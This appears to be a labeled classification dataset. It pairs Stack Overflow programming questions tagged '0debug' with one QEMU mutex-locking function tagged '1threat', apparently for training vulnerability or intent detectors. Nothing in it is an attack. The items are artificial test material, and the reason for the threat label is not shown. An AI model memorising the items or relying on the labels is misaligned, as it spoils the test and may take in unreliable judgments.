Failed to load list of databases : <p>I want to connect to a remote database using Robomongo. I can connect to to database but an error says that:<br> Failed to load list of databases<br> <a href="https://i.stack.imgur.com/insQh.png" rel="noreferrer"><img src="https://i.stack.imgur.com/insQh.png" alt="enter image description here"></a></p> <p>What should I do?</p>
0debug
static void qemu_signal_lock(unsigned int msecs) { qemu_mutex_lock(&qemu_fair_mutex); while (qemu_mutex_trylock(&qemu_global_mutex)) { qemu_thread_signal(tcg_cpu_thread, SIGUSR1); if (!qemu_mutex_timedlock(&qemu_global_mutex, msecs)) break; } qemu_mutex_unlock(&qemu_fair_mutex); }
1threat
How to set build and version number of Flutter app : <p>How do you set the version name and version code of a Flutter app without having to go into the Android and iOS settings?</p> <p>In my pubspec.yaml I have</p> <pre><code>version: 2.0.0 </code></pre> <p>but I don't see a place for the build number.</p>
0debug
how to check if there is any string from index 0 to 5 in an array of type Any : <p>I have an array of type any in which i am appending string data. now how do i check that the array i.e final list contains alphabets from index position 0 to 5</p>
0debug
Bootstrap server vs zookeeper in kafka? : <p>Why the use of zookeeper in kafka-consumer is deprecated and why it's recommended to use the bootstrap server instead ? what are the advantages of the bootstrap-server?</p>
0debug